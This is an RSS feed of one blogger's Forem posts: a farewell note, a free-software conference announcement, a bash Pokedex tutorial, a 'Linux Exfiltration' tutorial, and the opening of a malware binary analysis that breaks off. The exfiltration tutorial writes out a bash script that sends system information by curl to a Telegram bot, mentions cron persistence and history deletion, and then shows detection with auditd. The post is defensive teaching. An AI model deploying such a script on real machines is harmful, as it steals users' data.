<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Paula</title>
    <description>The latest articles on Forem by Paula (@terceranexus6).</description>
    <link>https://forem.com/terceranexus6</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F14900%2Fc734e354-1a69-4bf6-8077-595da18db0a5.jpg</url>
      <title>Forem: Paula</title>
      <link>https://forem.com/terceranexus6</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/terceranexus6"/>
    <language>en</language>
    <item>
      <title>Bye bye!</title>
      <dc:creator>Paula</dc:creator>
      <pubDate>Thu, 03 Jul 2025 16:18:53 +0000</pubDate>
      <link>https://forem.com/terceranexus6/bye-bye-3d8p</link>
      <guid>https://forem.com/terceranexus6/bye-bye-3d8p</guid>
      <description>&lt;p&gt;Hello!&lt;/p&gt;

&lt;p&gt;I'm well aware this post might become an issue, so first of all I want to say thank you to all of you who have enjoyed my posts until now and commented and supported them. I'm truly grateful for that!&lt;/p&gt;

&lt;p&gt;It's been a while since I wrote and that's partly because I didn't felt like it. In my account I hold 18 badges, 8 from year commemorations and the rest from commit contribution (so I could add my mastodon account and so anyone could, it worked for a while and happy about that), "nevertheless she coded", writing strikes and more. I feel like a girl scout (jk, I love my badges)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5xsz92meklaz4ftsx4he.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5xsz92meklaz4ftsx4he.gif" alt="gif of the Adams, Wednesday is asking if some cookies are made of actual girl scouts flesh" width="400" height="213"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I even helped with moderation for a while on my free time, just for the sake of this community because I really liked it and its people. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb0fzk0r3r6bvt1ooj925.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb0fzk0r3r6bvt1ooj925.jpg" alt="Hand holding a cup that says nevertheless she coded" width="800" height="1063"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I started writing mostly to share my development in tech and security, I learned a lot from communities so I wanted to give something back. That, I keep doing in other places, too. I think we all need to share our knowledge to be better together. It might sound naive, and I'm well aware: it is not. Not everything needs to be a potential efficient product, and not everything, to be valuable and useful, needs to enroll a tech trend. I learned that mostly working with tech in the margins in my free time: limited resources for a local hackerspace, limited resources for schools, in a social radio station, tech for minorities, organizing free software events and more. Technology for communities works better in the long run (and for better purposes) when it's also community driven and multidisciplinary. Maybe slower? Maybe it takes more time? Sure, probably. Still, better.&lt;/p&gt;

&lt;p&gt;I recently heard Cloudflare CEO speaking (&lt;a href="https://mobile.x.com/carlhendy/status/1938465616442306871" rel="noopener noreferrer"&gt;LINK&lt;/a&gt;, be aware this is an X/twitter link) about how AI bots and content is messing up with content creators, those who wrote the actual information in the first place. He spoke from the visibility of his platform, but this is something many content creators (specially those who wrote or drew) were already saying. I've been visiting this place and recently wondered how many are truly people sharing and how many are automated SEO for visibility. Made me feel bitter about it. &lt;/p&gt;

&lt;p&gt;I'm also motivated by the climate impact of generative AI, which is apparently the favorite topic lately. It's no secret, it's already been said, researched and all. Some of us are even seeing our countries being the target for massive Data Centers (not regular ones) despite the fact of being heavily impacted by the climate change (water availability issues, extreme hot, etc). I will leave the numbers to associations such as &lt;a href="https://tunubesecamirio.com/" rel="noopener noreferrer"&gt;Tu Nube Seca mi Rio&lt;/a&gt;, but you get the idea right?&lt;/p&gt;

&lt;p&gt;I got upset when I saw another community holding hands with trending-driven AI deals. It's not my call, and me leaving has no impact, it might even backfire. &lt;/p&gt;

&lt;p&gt;I really want to spend my time in digital spaces that will make me feel I'm doing my best, the best I can. I really don't want to put a single feather more on to the weight of the climate and technology mess that my daughter is going to inherit. &lt;/p&gt;

&lt;p&gt;I'm not nostalgic, I didn't have time to be (I'm only 29 hehe). I'm not naive, either, I've given my tech career time, and sacrifice in and out the working context. I've faced and fought misogyny in several digital and tech spaces so others didn't have to. Let me tell you, I've worked on my relationship with technology from several angles. &lt;/p&gt;

&lt;p&gt;I just believe tech communities can do better and I want to work towards that, as I've always done. Some years ago it was by working alongside the local Free Software Office, and now, 8 years later, I'm just advocating for the tech I believe in. &lt;/p&gt;

&lt;p&gt;As I've always done.&lt;/p&gt;

&lt;p&gt;I try to remember individual actions will only get you so far. I feel this decision is more of a collaboration to those communities who want to work towards permacomputing.&lt;/p&gt;

&lt;p&gt;Thanks for all this years of fun interactions and content sharing. I hope this letter is more of a warm goodbye rather than a bitter message. I'm proud of the DEVTO stickers I have in my laptop and I'm happy I've been around.&lt;/p&gt;

&lt;p&gt;Have a great day, reader (unless you are a bot hehe)&lt;br&gt;
Hugs&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F99kgl9cyp4ub43oj6ao2.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F99kgl9cyp4ub43oj6ao2.gif" alt="green puppet of a girl and her dog saying bye byee" width="480" height="370"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>bye</category>
      <category>opinion</category>
    </item>
    <item>
      <title>Preparing for esLibre</title>
      <dc:creator>Paula</dc:creator>
      <pubDate>Thu, 11 Apr 2024 15:48:45 +0000</pubDate>
      <link>https://forem.com/terceranexus6/preparing-for-eslibre-ep</link>
      <guid>https://forem.com/terceranexus6/preparing-for-eslibre-ep</guid>
      <description>&lt;p&gt;Next month, the 6th edition of &lt;a href="http://eslib.re" rel="noopener noreferrer"&gt;esLibre&lt;/a&gt; congress will occupy Las Naves, in Valencia (Spain), the May 24th and 25th. The event started in Granada, as the former local &lt;a href="https://osl.ugr.es/" rel="noopener noreferrer"&gt;Free Software Office&lt;/a&gt; responsible and university teacher, &lt;a href="https://dev.to/jj"&gt;JJ&lt;/a&gt;, pushed the idea into some of the people who were used to organize similar things (including myself). Since then, we've slowly created some traditions, such as celebrating the event in a different city each time, so communities and individuals all around Spain had the opportunity to assist at some point. This added a brand new layer of complexity, that included finding local communities aiming to help us, or understanding the context of each new emplacement to adapt the event to it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fydo4e194f2vipnaf7hny.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fydo4e194f2vipnaf7hny.png" alt="logo of eslibre, which is an stylized penguin in a red background, it says eslibre and the dates mentioned above" width="800" height="266"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Each year, the organization, as well as the event itself, is different. Yet, we try to keep some common ground: free culture, diversity awareness and recognition to both technical and non-technical skills that keep the free software culture rolling. We had our issues through the peak of the pandemic years, but we are trying to, slowly (and safe) coming back to what it used to be. This year we are humbled to also share our event with KDE España and their Akademy congress, as well as a room for Wikimedia and a DEVROOM for academical free software discussions, among all the talks, workshops and short talks.&lt;/p&gt;

&lt;p&gt;As we are escalating, we decided to reserve a short space for a round table on "Organizing a free software event" which is meant for others to have a guide based on how we do it, answering questions and more. I will try to share the key points over here afterwards.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft95v09pokbaz292lxbrm.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft95v09pokbaz292lxbrm.gif" alt="penguins running, a gif" width="480" height="270"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After receiving a great amount of proposals (even more than the last years) we are trying to put it all together and soon we will publish the final schedule. In the meantime, you all can see &lt;a href="https://gitlab.com/eslibre/propuestas/-/merge_requests?scope=all&amp;amp;state=all" rel="noopener noreferrer"&gt;the proposals themselves&lt;/a&gt;, as they are automated to go from the form to a pull request in our repo to assure transparency in the voting and commenting period.&lt;/p&gt;

&lt;p&gt;Every year I feel astonished by the amount of people willing to either help, participate or assist, just to talk and discuss free software and their communities. I recently read a really sad header somewhere saying "are free software communities dying?" let me tell you: they are not, since I see it. Even when things seem rough in the tech world, there's someone out there willing to create code for others, just because. Or translating documentation, so it's more accessible. Or thinking of ways the software could look better, more intuitive. I know a lot of people came around to the idea this exist and that's it. I pretty much myself became an actual adult through university having my hand hold by this sort of communities, and ten years later I keep feeling surrounded by it. I should be the one more used to this, but I'm not, I keep feeling grateful and surprised. &lt;/p&gt;

&lt;p&gt;Here, look for us in:&lt;/p&gt;

&lt;p&gt;Telegram: &lt;a href="https://t.me/esLibre" rel="noopener noreferrer"&gt;https://t.me/esLibre&lt;/a&gt;&lt;br&gt;
Mastodon: &lt;a href="https://floss.social/@eslibre/" rel="noopener noreferrer"&gt;https://floss.social/@eslibre/&lt;/a&gt;&lt;br&gt;
Gitlab: &lt;a href="https://gitlab.com/eslibre" rel="noopener noreferrer"&gt;https://gitlab.com/eslibre&lt;/a&gt;&lt;br&gt;
Twitter: &lt;a href="https://twitter.com/esLibre_" rel="noopener noreferrer"&gt;https://twitter.com/esLibre_&lt;/a&gt;&lt;/p&gt;

</description>
      <category>eslibre</category>
      <category>fs</category>
      <category>community</category>
    </item>
    <item>
      <title>Linux Exfiltration</title>
      <dc:creator>Paula</dc:creator>
      <pubDate>Wed, 20 Mar 2024 17:13:33 +0000</pubDate>
      <link>https://forem.com/terceranexus6/linux-exfiltration-1fci</link>
      <guid>https://forem.com/terceranexus6/linux-exfiltration-1fci</guid>
      <description>&lt;p&gt;One of the most prominent threats right now is Infostealers. These would be a kind of malware that captures information from devices and sends the stolen data to an attacker. While this technique is integrated in other attacks (f.e. ransomware) it could work on its own, for selling, cyber espionage and more. &lt;/p&gt;

&lt;p&gt;In the past months, one of the most popular exfiltration attempts was done through  Telegram or Discord bots (as well as C2-Command and Control attempts). &lt;/p&gt;

&lt;p&gt;I've been asked a few times how this is done, so in this article, I'm creating a very simple example of how Telegram could be used to exfiltrate and how to detect that attempt. Let's go!&lt;/p&gt;

&lt;h2&gt;
  
  
  Telegram bot
&lt;/h2&gt;

&lt;p&gt;In order to do this, a Telegram Bot and a Channel are required. You need to create a bot with the help of BotFather and then create a Channel and add the bot to it. Send a message to the Channel and then use the following to get the Channel info:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://api.telegram.org/bot&amp;lt;BotToken&amp;gt;/getUpdates
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As described &lt;a href="https://hackernoon.com/how-to-create-a-simple-bash-shell-script-to-send-messages-on-telegram-lcz31bx" rel="noopener noreferrer"&gt;here&lt;/a&gt;, this will allow you to get the Channel ID. Once you know the channel ID, you can send a message using:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl 'https://api.telegram.org/bot&amp;lt;BotToken&amp;gt;/sendMessage?chat_id=&amp;lt;channelId&amp;gt;&amp;amp;text=&amp;lt;my message&amp;gt;'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Understanding this, we could create a script that enumerates the system information and sends a message describing it. Let's create a really simple example that just sends the &lt;code&gt;whoami&lt;/code&gt; output for the sake of the example. Of course, this could include way &lt;a href="https://www.redhat.com/sysadmin/linux-system-info-commands" rel="noopener noreferrer"&gt;more things&lt;/a&gt; such as architecture, disk info and more. Most of there sort of samples will attempt to also check crypto wallet info.&lt;/p&gt;

&lt;p&gt;Anyway, let's say we have the following script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#!/bin/bash

messa=$(whoami)
mycommand="https://api.telegram.org/bot&amp;lt;BotToken&amp;gt;/sendMessage?chat_id=&amp;lt;channelId&amp;gt;&amp;amp;text=$messa"

curl $mycommand

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8cxftrngwvhro5y19x2t.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8cxftrngwvhro5y19x2t.gif" alt="The Office character shushing as saying a secret" width="480" height="270"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When this is executed, the username is sent to the channel.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fty1xbwc9esajg7iy9kct.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fty1xbwc9esajg7iy9kct.gif" alt="name popping up in the channel" width="221" height="80"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now, most of these will install the script in &lt;code&gt;cron&lt;/code&gt; usign &lt;code&gt;crontab&lt;/code&gt; and delete the &lt;code&gt;history&lt;/code&gt; log.&lt;/p&gt;

&lt;p&gt;In case the &lt;code&gt;crontab&lt;/code&gt; log is still intact, we will be able to see the crontab edition using &lt;code&gt;cat /var/log/syslog | grep -w 'crontab'&lt;/code&gt;. But let's explore a cool option: &lt;code&gt;auditd&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now, installing &lt;code&gt;auditd&lt;/code&gt; is &lt;a href="https://www.redhat.com/sysadmin/configure-linux-auditing-auditd" rel="noopener noreferrer"&gt;fairly simple&lt;/a&gt;. And while you can create your own rules, you can also use a &lt;a href="https://gist.github.com/Neo23x0/9fe88c0c5979e017a389b90fd19ddfee" rel="noopener noreferrer"&gt;default configuration&lt;/a&gt; and you are good to go!&lt;/p&gt;

&lt;p&gt;Now, if we use &lt;code&gt;sudo cat /var/log/audit/audit.log | grep telegram | grep api&lt;/code&gt; we would be able to see the attempt of our script!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjzt6y29ya3fx7yg4j0h6.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjzt6y29ya3fx7yg4j0h6.jpg" alt="Image description" width="800" height="30"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Sometimes these attacks include messing up the &lt;code&gt;/var/log&lt;/code&gt; so maybe having a backup in a different path could be useful, too. &lt;/p&gt;

&lt;p&gt;Anyway, this was a simple, friendly introduction. Expect more complex attacks! (and simpler, too :) ) &lt;/p&gt;

&lt;p&gt;If you are curious about analyzing real life samples, take a look at my older posts about &lt;a href="https://dev.to/terceranexus6/the-broken-spaceship-honeypot-updates-5gk8"&gt;setting a custom Linux Honeypot&lt;/a&gt;. Most of the things I capture are miners, which could use some common characteristics with info-stealers (messing up with &lt;code&gt;cron&lt;/code&gt; for persistence, attempting enumeration, attempting &lt;a href="https://attack.mitre.org/techniques/T1574/006/" rel="noopener noreferrer"&gt;Dynamic Linker Hijacking&lt;/a&gt; attack, and more). &lt;/p&gt;

</description>
      <category>noai</category>
      <category>security</category>
      <category>linux</category>
    </item>
    <item>
      <title>Creating a Linux Terminal Pokedex</title>
      <dc:creator>Paula</dc:creator>
      <pubDate>Tue, 09 Jan 2024 16:41:48 +0000</pubDate>
      <link>https://forem.com/terceranexus6/creating-a-linux-terminal-pokedex-1oa0</link>
      <guid>https://forem.com/terceranexus6/creating-a-linux-terminal-pokedex-1oa0</guid>
      <description>&lt;p&gt;I recently found an &lt;a href="https://pokeapi.co/" rel="noopener noreferrer"&gt;API for Pokemon&lt;/a&gt; and I wrote a simple Pokedex for fun using the data available.&lt;/p&gt;

&lt;p&gt;The api is pretty straightforward, you give it the ID or name of a Pokemon, it give you back information in a &lt;code&gt;json&lt;/code&gt; file. I used &lt;code&gt;bash&lt;/code&gt; and &lt;code&gt;jq&lt;/code&gt; to parse the information.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;curl -s https://pokeapi.co/api/v2/pokemon/&amp;lt;my pokemon&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So, imagine we want to get the type of the Pokemon. Taking a quick look at the &lt;code&gt;json&lt;/code&gt;, I check were the type is and then write:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;strings $mipoke.json | jq -r '.types[].type.name'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;While &lt;code&gt;$mypoke&lt;/code&gt; is the Pokemon name. SOme of them have two types so I save them in variables and check the existence of the second one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;first_type=$(strings $mipoke.json | jq -r '.types[0].type.name')
second_type=$(strings $mipoke.json | jq -r '.types[1].type.name')


if  [ -z "$second_type" ]; then
      echo -e "$second_type"
fi
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I though it would be fun to set colors according to the type, so created a palette in the header:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;export COLOR_NC='\e[0m' # No Color

export COLOR_BLACK='\e[0;30m'
export COLOR_GRAY='\e[1;30m'
export COLOR_RED='\e[0;31m'
export COLOR_LIGHT_RED='\e[1;31m'
export COLOR_GREEN='\e[0;32m'
export COLOR_LIGHT_GREEN='\e[1;32m'
export COLOR_BROWN='\e[0;33m'
export COLOR_YELLOW='\e[1;33m'
export COLOR_BLUE='\e[0;34m'
export COLOR_LIGHT_BLUE='\e[1;34m'
export COLOR_PURPLE='\e[0;35m'
export COLOR_LIGHT_PURPLE='\e[1;35m'
export COLOR_CYAN='\e[0;36m'
export COLOR_LIGHT_CYAN='\e[1;36m'
export COLOR_LIGHT_GRAY='\e[0;37m'
export COLOR_WHITE='\e[1;37m'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And then I created a basic conditional to set the color for the types:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# initializing color variables
color1="${COLOR_WHITE}"
color2="${COLOR_WHITE}"
...
#creating a function so I don't 
#commit redundancy in both types
check_colors() {
tipo=$1
color="${COLOR_WHITE}"

if [[ "$tipo" = "fairy" || "$tipo" = "psychic" ]]; then
        color="${COLOR_LIGHT_PURPLE}"
elif [[ "$tipo" = "steel" || "$tipo" = "normal" ]]; then
        color="${COLOR_LIGHT_GRAY}"
elif [[ "$tipo" = "grass" || "$tipo" = "bug" ]]; then
        color="${COLOR_GREEN}"      
elif [[ "$tipo" = "water" || "$tipo" = "ice" ]]; then
        color="${COLOR_BLUE}"
elif [ "$tipo" = "poison" ]; then                           
        color="${COLOR_PURPLE}"
elif [ "$tipo" = "electric" ]; then
        color="${COLOR_YELLOW}"

fi

echo "$color"
}
...
#setting the color for the first type
color1="$(check_colors $first_type)"

#if second type exists, setting the color, too
if  [ -z "$second_type" ]; then
      color2="$(check_colors $second_type)"
      echo -e "$color2 $second_type ${COLOR_NC}"
fi

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the next two interesting things might be moves and abilities.I realized in a quick test that moves are too many, so I opted for showing a small sample and saving all the rest in a different file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;strings $mipoke.json | jq -r '.moves[].move.name' | head -n5
echo "...\nCheck the whole list in the file $mipoke.moves"
strings $mipoke.json | jq -r '.moves[].move.name' &amp;gt;&amp;gt; $mipoke.moves
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Abilities aren't usually too many, so I kept them simple:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;strings $mipoke.json | jq -r '.abilities[].ability.name'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I decided I wanted to do a charming detail so I captured the weight:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;weight=$(strings $mipoke.json | jq -r '.weight')
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Converted it to kg (it's in lbs):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;inkg=$(bc &amp;lt;&amp;lt;&amp;lt; "scale=2; $weight*0.45")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And then use it in a conditional so to give advice on how to handle the Pokemon:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;inkg_int=$(bc &amp;lt;&amp;lt;&amp;lt; "$inkg/1")
inkg_int=$(($inkg_int))

if [[ "$inkg_int" -lt 35 &amp;amp;&amp;amp; "$inkg_int" -gt 10 ]]; then
        consejo="That means you can carry it for a while, but you can hurt you back! let them walk"
elif [[ "$inkg_int" -lt 11  &amp;amp;&amp;amp; "$inkg_int" -gt 5 ]]; then
        consejo="That means is your pokemon is quite light and you might be able to carry it around a lot."
elif [ "$inkg_int" -lt 6 ]; then
        consejo="That means your pokemon is very light, tiny cute baby, and you might even be able to carry it around in a bag, if it pleases them."
elif [[ "$inkg_int" -lt 60  &amp;amp;&amp;amp; "$inkg_int" -gt 34 ]]; then
        consejo="Your pokemon weights like a human teen or an adult even, so try to look for ways of taking care of them without carrying it to much unless you want to hurt your back!"
elif [[ "$inkg_int" -lt 200  &amp;amp;&amp;amp; "$inkg_int" -gt 59 ]]; then
        consejo="Your pokemon might be a little bit too heavy for carrying it, so don't attempt to do it. Nevertheless look for alternatives such as patting and saying nice words."
else
        consejo="Your pokemon is a thicc baby, they won't expect you to carry it. But they will probably like pats and nice words."
fi

echo "$consejo"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It was pretty much done. I added some visual details (further colors, sparkles) and the possibility of tooting in your mastodon the final information. For that I duplicated every print into a file and then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;read -p"Do you want to toot it? y/n: " ANS

if [[ "$ANS" = "y" || "$ANS" = "Y" ]]; then
        toot post "$(strings mytoot)"
else
        echo "okay, not tooting!"
fi

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And that's it!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8by6pirw4u2nzb0wj5yn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8by6pirw4u2nzb0wj5yn.png" alt="capture of the pokedex" width="582" height="561"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5ffgojmclt9tnkvajv1x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5ffgojmclt9tnkvajv1x.png" alt="capture of the pokedex" width="229" height="394"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here's the &lt;a href="https://git.sr.ht/~alienagain/terminal_simple_pokedex" rel="noopener noreferrer"&gt;repo&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>pokemon</category>
      <category>linux</category>
      <category>bash</category>
    </item>
    <item>
      <title>Analyzing a Linux malware binary</title>
      <dc:creator>Paula</dc:creator>
      <pubDate>Tue, 19 Dec 2023 14:16:10 +0000</pubDate>
      <link>https://forem.com/terceranexus6/analyzing-a-linux-malware-binary-4b2g</link>
      <guid>https://forem.com/terceranexus6/analyzing-a-linux-malware-binary-4b2g</guid>
      <description>&lt;p&gt;I encountered an interesting file in my honeypot a couple of days ago and it's not on virustotal or similar so I decided to take advantage of the situation a take a closer look myself.&lt;/p&gt;

&lt;p&gt;Before going further let me tell you I'm not whatsoever a reversing expert, just a messy curious threat intel/threat hunting expert, and this article was a for-fun activity. I do like it and I wish I could properly do reversing! Someday, maybe. &lt;/p&gt;

&lt;p&gt;The attacker uploaded the file through sftp:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff73zx7viw1vc1na49zi4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff73zx7viw1vc1na49zi4.png" alt="Image description" width="262" height="33"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before anything else I used radare2 so to get some general info about the file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;rabin2 -I mymalware
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And found out the following things:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;arch     x86
baddr    0x400000
binsz    30048232
bintype  elf
bits     64
canary   false
injprot  false
class    ELF64
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  false
lsyms    false
machine  AMD x86-64 architecture
nx       true
os       linux
pic      false
relocs   false
relro    partial
rpath    NONE
sanitize false
static   true
stripped true
subsys   linux
va       true
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
